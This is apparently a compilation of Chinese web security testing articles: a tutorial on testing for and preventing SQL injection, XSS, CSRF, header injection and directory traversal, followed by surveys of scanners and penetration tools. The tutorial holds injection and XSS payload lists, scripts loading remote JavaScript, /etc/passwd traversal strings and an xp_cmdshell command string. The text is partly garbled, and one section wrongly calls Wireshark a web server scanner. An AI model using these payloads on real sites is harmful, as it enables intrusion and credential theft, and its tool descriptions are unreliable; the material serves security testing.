㈠ 如何进行WEB安全性测试
安全性测试主要从以下方面考虑 主要从以下方面考虑： WEB 的安全性测试主要从以下方面考虑： Injection(sql 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个 参数传递都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：为什么是 OR， 以及',――是特殊的字符呢？ 例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where username='username' and pwd='password' 如 输入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 语句会变成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符， 在判断多个条件的时候， 只要一 个成立，则等式就成立，后面的 AND 就不再时行判断了，也就是 说我们绕过了密码 验证，我们只用用户名就可以登录. 如 输入 http://ck/index.asp?username=admin'--&pwd=11，SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”, 和”空格”). 屏蔽出错信息：阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? <!--[if !supportLists]-->首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 测试语句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最后,当用户浏览 时便会弹出一个警告框，内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚 本，当用户浏览此帖时，cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证，着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本（XSS），但它与 XSS 非常不同，并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户，而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好， CSRF 也好， 它的目的在于窃取用户的信息， SESSION 和 COOKIES 如 （关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG： http://www.51testing.com/?49689/action_viewspace_itemid_74885.html）， (1)如何进行 CSRF 测试？ 关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞？ 请参见 http://www.hanguofeng.cn/archives/security/preventing-csrf 请 参见 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection：如果表单用于发送 email,表单中可能包括 “subject”输入项（邮件标题），我们要验证 subject 中应能 escape 掉“\n” 标识。 <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行，如果在 subject 中输入“hello\ncc:[email protected]”，可能会形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的 其它用 subject， 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) （1）如何进行目录遍历测试？ 目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试方法： URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 ， 掉了这些目录跳转符。 （2）如何预防目录遍历？ 限制 Web 应用在服务器上的运行 进 行严格的输入验证，控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) （1）如何进行测试？ 首 先找到一些错误页面，比如 404,或 500 页面。 验证在调试未开通过的情况下， 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等，而并非曝露一些程序代码。 （2）如何预防？ 测试人员在进行需求检查时，应该对出错信息 进行详细查，比如是否给 出了出错信息，是否给出了正确的出错信息。
㈡ web安全测试主要测试哪些内容
一个完整的Web安全体系测试可以从部署与基础结构，输入验证，身份验证，授权，配置管理配置管理配置管理配置管理，敏感数据，会话管理，加密，参数操作，异常管理，审核和日志记录等几个方面入手
㈢ 最受欢迎的软件安全性测试工具有哪些
之前在做 国内软件测试现状调查 之时，因为安全性测试工具太多，结果显示其分布比较广，填写“其它”占的比重很高（66%），为此专门做了一个调查 ，虽然收集的有效反馈不多（不到100），但基本反映了测试工具的使用现状。
1. 从总体看，（静态的）代码分析工具和（动态的）渗透测试工具应用还是比较普遍 ，超过60%，而且渗透测试工具（73.68%）略显优势，高出10%。模糊测试工具，可能大家感觉陌生，低至16%，但它在安全性、可靠性测试中还是能发挥作用的。从理论上看，代码分析工具应该能达到95%以上，因为它易用，且安全性已经是许多公司的红线，得到足够重视。 希望以后各个公司能够加强代码分析工具和模糊测试工具的应用。
2. Java代码安全性分析工具前三名是 ： IBM AppScan Source Edition（42.11%）、Fotify Static Code Analyzer（36.84%）、Findbugs（26.32%） ，而JTest、PMD等没进入前三名，虽然和第3名差距不大，只有5%左右。也有公司使用Checkmarx，不在此调查中。Coverity也支持Java，可能Java的开源工具较多，人们很少用它。
3. C/C++代码安全性分析工具前三名是 ： C++Test（38.89%）、IBM AppScan Source Edition（38.89%）、Fotify Static Code Analyzer（27.78%）、Visual Studio（27.78%） 。Coverity、CppCheck、LDRA Testbed 没能进入前三名，可能LDRA Testbed比较贵，关键的嵌入式软件采用比较多，而Coverity Cloud针对Github等上面的代码有免费服务（https://scan.coverity.com/projects/cloud-dirigible），大家可以尝试应用。
4. JavaScript代码安全性分析工具应用最多的是 Google's Closure Compiler，其次是JSHint，也有的公司用Coverity来进行JS的代码分析。
5. Python代码安全性分析工具应用最多的是Pychecker ，其次是PyCharm，而Pylint使用比较少，也有几个公司用Coverity来进行Python的代码分析。
6. Web应用安全性测试的商用工具中，IBM AppScan异军突起 ，高达70%的市场，其它商用工具无法与它抗衡，第2名SoapUI和它差距在50%以上，HP webInspect 不到10%。
7. Web应用安全性测试的开源工具中，Firebug明显领先 ，将近50%，比第2名OWASP ZAP高12%，第三名是Firefox Web Developer Tools，超过了20%。
8. Android App的安全性测试工具中，Android Tamer领先 ，将近30%，比第2、3名AndroBugs、Mobisec、Santoku高15%左右。也有用其它不在调查项中的工具，总体看，Android App安全性测试工具分布比较散。
9. 网络状态监控与分析工具中，Wireshark遥遥领先，超过70%。 其次就是Tcpmp、Burp Suite，占30%左右。网络状态监控与分析工具挺多的，但从这次调查看，越来越集中到几个工具中，特别是Wireshark功能强，覆盖的协议比较多，深受欢迎。
10. SQL注入测试工具排在前三位的：SQLInjector、SQL Power Injector、OWASP SQLiX， 三者比较接近，差距在6%左右。其它两项工具Pangolin、SQLSqueal也占了10%，而Antonio Parata、Blind SQL Injections、Bsqlbf-v2、Multiple DBMS Sql Injection、Sqlninja几乎没什么人用。
安全性测试工具很多，还包括黑客常用的一些工具，如暴力破解口令工具、端口扫描工具、防火墙渗透工具、渗透测试平台等。从某种意义看，它们超出软件范畴，更多属于网络空间安全、密码学等范畴，在此就不展开了。概括起来最受欢迎的软件安全性测试工具有：
㈣ 求推荐几款WEB安全漏洞扫描的工具
我个人比较推荐Acunetix Web Vulnerability Scanner
你可以看看绿盟推荐10款，并有分析。http://www.xdowns.com/article/241/Article_3194.html
㈤ 【网络安全入门教程】Web渗透测试常用工具
众所周知，借助专业工具，可以让渗透测试更加有效、高效，也是节省时间、提升工作效率的关键，那么Web渗透测试常用工具你知道几个?以下是全部内容介绍。
第一个：NST
NST一套免费的开源应用程序，是一个基于Fedora的Linux发行版，可在32和64位平台上运行。这个可启动的Live
CD是用于监视、分析和维护计算机网络上的安全性;它可以很容易地将X86系统转换为肉机，这有助于入侵检测，网络流量嗅探，网络数据包生成，网络/主机扫描等。
第二个：NMAP
NMAP是发现企业网络中任何类型的弱点或漏洞的绝佳工具，它也是审计的好工具。该工具的作用是获取原始数据包并确定哪些主机在网络的特定段上可用，正在使用什么操作系统，以及识别特定主机的数据包防火墙或过滤器的不同类型和版本正在使用。NMAP对渗透测试过程的任何阶段都很有用并且还是免费的。
第三个：BeEF工具
BeEF工具主要利用移动端的客户，它的作用是用于检查Web浏览器，对抗Web抗击。BeEF用GitHub找漏洞，它探索了Web边界和客户端系统之外的缺陷。很重要的是，它是专门针对Web浏览器的，能够查看单个源上下文中的漏洞。
第四个：Acunetix Scanner
它是一款知名的网络漏洞扫描工具，能审计复杂的管理报告和问题，并且通过网络爬虫测试你的网站安全，检测流行安全漏洞，还能包含带外漏洞。它具有很高的检测率，覆盖超过4500个弱点;此外，这个工具包含了AcuSensor技术，手动渗透工具和内置漏洞测试，可快速抓取数千个网页，大大提升工作效率。
第五个：John the Ripper
它是一个简单可快速的密码破解工具，用于在已知密文的情况下尝试破解出明文的破解密码软件，支持大多数的加密算法，如DES、MD4、MD5等。
㈥ 比较好的web安全扫描工具有哪些
随着网站业务所承载内容的日益增多且重要性日益增强，网站本身的价值也越来越大，随之由网站漏洞带来的安全性问题也愈发严峻。新开通网站、新增专栏的准入质量评估，网站系统日常运行状况的检查预防和风险掌控，这些已成为各行业每年安全大检查中的关键要素。作为具体落实定期检查工作的安全人员，也急需选择一款优秀的网站扫描产品进行高效彻底的Web脆弱性评估检查，而如何选择一款真正实用的产品成为一个比较纠结的难题。
常见Web扫描方案的优劣势
目前常见的支持Web扫描解决方案的产品有很多，大家比较熟悉的有集成Web扫描模块的多合一系统扫描器，网上可免费下载的开源扫描器软件以及近几年刚崭露头角的独立Web扫描器产品等，都可以进行一定程度的Web安全扫描和漏洞发现。那么面对如此琳琅满目的选择时，大家如何细致区分辨识其差异，就需严格立足于实际需要，最终做出最佳的判断。
多合一的系统扫描器，通常会集主机扫描、配置核查、Web扫描及弱口令扫描于一身，是一款强大全面的多功能产品。但多合一的高度封装导致其在进行安全扫描时，除不能分配全部计算资源在Web扫描方面，扫描引擎自身还要兼顾到全方位的权衡与调优。反观目标Web应用呈现的种类多样性、规模庞大性和运行特殊性，在面对动辄上万、十万甚至百万级别网页数量的网站时，这种多合一产品就表现得差强人意，使用起来有种牛拉火车的感觉;同时，高效执行扫描评估就必须具备高并发的网页链接爬虫识别和Web插件交互逻辑判断能力，这一现实的冲突导致多合一扫描器在Web扫描及性能体验方面效果平平，优势不突出。
网上开源的Web扫描器软件，尽管完全免费并可以发现一些基本的漏洞信息，但其在第一时间发现新爆Web漏洞和漏洞趋势跟踪分析、修补方面，完全不具备后期支撑能力。而且在人性化设计及低学习门槛方面也存在太多先天的不足，其性能与稳定性更是与商业软件相差甚远。
面对综上同类产品，困惑于Web扫描场景需求种种局限的我们，很欣喜地看到了近几年声名鹊起的Web扫描器产品。它作为一款自动化评估类工具，依据制定的策略对Web应用系统进行URL深度发现并全面扫描，寻找出Web应用真实存在的安全漏洞，如跨站点脚本、SQL注入，命令执行、目录遍历和不安全的服务器配置。Web扫描器产品可以通过主动生成统计分析报告来帮助我们正确了解Web应用漏洞的详细分布、数量和风险优先级，并对发现的安全漏洞提出相应有力的改进意见供后续修补参考，是帮助我们高效彻底地进行Web脆弱性评估检查的坚实利器。
Web扫描器的三个误区
针对现有市面上诸多品牌的Web扫描器，大家在评价它们孰优孰劣时时常过于片面极端，主要表现为三个认识误区。
误区1：多就是好!
认为漏洞库条目多，检查出来的漏洞多就是好。Web扫描器面对庞大繁多、千差万别的应用系统，为提升检测性能，多采用高效率的Web通用插件，以一扫多，其不再局限于某个专门应用系统，深层次聚合归并，尽可能多地发现多种应用系统的同类漏洞。同时，对于扫描出来的非误报漏洞，若同属某一页面不同参数所致的相同漏洞，归纳整理，让最终呈现的漏洞报表简约而不简单，避免数量冗余、杂乱无章。故若以毫无插件归并能力，仅靠大量专门Web系统插件、罗列各类漏洞列表数量多来博取赞许的Web扫描器，其本质存在太多的不专业性。
误区2：快就是好!
认为扫描速度快耗时短的就是好。网站规模日趋复杂，日常检查时我们期待Web扫描器能有更高效率地完成扫描任务，这点无可厚非，但检查的本质是要最大限度地提前发现足够多的漏洞，并第一时间制定后续相应的修补计划。故在面对同一目标站点时，Web扫描器若能在单位时间内检测出来的有效存在漏洞数越多，这个快才是真的好。
误区3：小就是好!
认为扫描过程中对目标业务影响小就是好!这句话本身也没有问题，只要Web扫描器在执行扫描过程中，对目标系统负载响应和网络链路带宽占用，影响足够小，也就是我们常说的“无损扫描”，它就具备了一款优秀Web扫描器应有的先决条件。但是，这必须是在能最大限度发现Web漏洞的前提下才能考虑的关键因素，脱离这个产品本质，就本末倒置了。
五个基本评优标准
那么，评优一款Web扫描器，我们该从何处着手?具体的判断标准有哪些呢?
全——识别种类繁多的Web应用，集成最全的Web通用插件，通过全面识别网站结构和内容，逐一判断每一种漏洞可能性，换句话说，漏洞扫描的检测率一定要高，漏报率务必低，最终才能输出全面详尽的扫描报告。这就要求其在Web应用识别方面，支持各类Web语言类型(php、asp、.net、html)、应用系统类型(门户网站、电子政务、论坛、博客、网上银行)、应用程序类型(IIS、Apache、Tomcat)、第三方组件类型(Struts2、WebLogic、WordPress)等;插件集成方面，支持国际标准漏洞分类OWASP TOP 10和WASC插件分类模板，允许自定义扫描插件模板，第一时间插件更新速度等。
准——较高的漏洞准确性是Web扫描器权威的象征，可视化分析可助用户准确定位漏洞、分析漏洞。而误报是扫描类产品不能回避的话题。Web扫描器通过通用插件与目标站点任一URL页面进行逻辑交互，通过可视化的漏洞跟踪技术，精准判断和定位漏洞，并提供易读易懂的详细整改分析报告。除此之外，一款好的Web扫描器还要更具人性化，在漏洞发现后，允许扫描者进行手工、自动的漏洞批量验证，进而双重保障较高的准确性结果。
快——快速的扫描速度，才能在面对越来越大的网站规模，越发频繁的网站检查时游刃有余，进度保障。一款快速的Web扫描器除了有强劲马力的扫描引擎，高达百万/天的扫描速度，还要具备弹性灵活的集群扫描能力，任意增添扫描节点，轻松应对可能苛刻的扫描周期时间要求。
稳——稳定可靠的运行过程，对目标环境近乎零影响的Web扫描器，才能在诸行业大面积投入使用，特别是一些对业务影响要求苛刻的行业会更受青睐，毕竟没有人能够接受一款评估类产品，会对目标造成额外的损伤。市面上现在已有一些Web扫描器产品，其通过周期探寻目标系统，网络链路，自身性能负载等机制，依据目标环境的负载动态变化而自动调节扫描参数，从而保障扫描过程的足够稳定和几乎零影响。此外，随着网站规模，检查范围的不断扩大，保证持续稳定的扫描执行和统计评估，尽量避免扫描进度的半途而废，也提出了较高的可靠性运行要求。
易——人性化的界面配置，低成本的报表学习和强指导性修补建议。尤其是漏洞分布详情和场景重现方面，市面上大多数Web扫描器的报表都需要专业安全人员的二次解读后，普通的安全运维检查人员才能看懂，才知道长达百页报表给出的重要建议和下一步的具体修补措施，这无疑给使用者造成了较高的技术门槛，那么如何解决此易读、易用问题，就成为评定其优劣与否的一个重要指标。
总之，一款优秀的Web扫描器产品，它需要严格恪守五字核心方针，全、准、快、稳、易，做到全方位均衡，这样才能做到基本优秀。同时，随着网站检查诉求的日益多元化，它若能附带一些差异化特性，满足大家不同场景的网站安全运维扫描要求，如网站基本信息搜集，漏洞全过程时间轴跟踪，逐步可视化的漏洞验证和场景重现，自动修补直通车等，定会大大增加该款扫描器的评优力度。
㈦ 网站漏洞扫描工具推荐，其中两款开源免费软件你知道吗
在如今互联网的时代，互联网的安危真真切切的影响到了我们的生活，在网络上，一直隐藏着许许多多的黑客，破坏网站的安防，挖漏洞来来找下一个金主，而网站则是不断的使用着网站漏洞扫描工具检查网站之中可能存在的隐患，防止有心人得逞，或者是造成网站的瘫痪，下面我们来介绍一下比较出名的网站漏洞扫描工具，在个人生活之中也可以使用的到。
一、Wireshark
这是一款开源的Web服务器扫描工具，对网页进行检测，其中有着3300种潜在威胁检测文件，包含625种服务器的版本号，230中的服务器问题的检测，不过这个软件的作者更新速度不稳定，对于新的网站的威胁可能检测不到。不过本身的功能还是很强大的，针对危险的检测和反侦测行为，躲避危险，并且隐藏自身的参数，将自己与危险隔离开来，并且检测访问的网站的问题。
㈧ web漏洞扫描工具有哪些
1、Nexpose：跟其他扫描工具不同的是，它的功能十分强大，可以更新漏洞数据库，也可以看出哪些漏洞可以被Metasploit Exploit，可以生成非常详细、强大的Report，涵盖了很多统计功能和漏洞的详细信息。
2、OpenVAS：类似Nessus的综合型漏洞扫描器，可以用来识别远程主机、Web应用存在的各种漏洞，它使用NVT脚本对剁成远程系统的安全问题进行检测。
3、WebScarab：可以分析使用HTTP和HTTPS协议进行通信的应用程序，它可以简单记录观察的会话且允许操作人员以各种方式进行查看。
4、WebInspect：是一款强大的Web应用程序扫描程序，有助于确认Web应用中已知和未知的漏洞，还可以检查一个Web服务器是否正确配置。
5、Whisker/libwhisker：是一个Perla工具，适合于HTTP测试，可以针对许多已知的安全漏洞，测试HTTP服务器，特别是检测危险CGI的存在。
6、Burpsuite：可以用于攻击Web应用程序的集成平台，允许一个攻击者将人工和自动的技术进行结合，并允许将一种工具发现的漏洞形成另外一种工具的基础。
7、Wikto：是一个Web服务器评估工具，可以检查Web服务器中的漏洞，并提供与Nikto一样的很多功能，但增加了许多有趣的功能部分。
8、Watchfire AppScan：是一款商业类的Web漏洞扫描程序，简化了部件测试和开发早期的安全保证，可以扫描许多常见的漏洞，如跨站脚本攻击、HTTP响应拆分漏洞、参数篡改、隐式字段处理、后门/调试选项、缓冲区溢出等等。
9、N-Stealth：是一款商业级的Web服务器安全扫描程序，主要为Windows平台提供扫描，但并不提供源代码。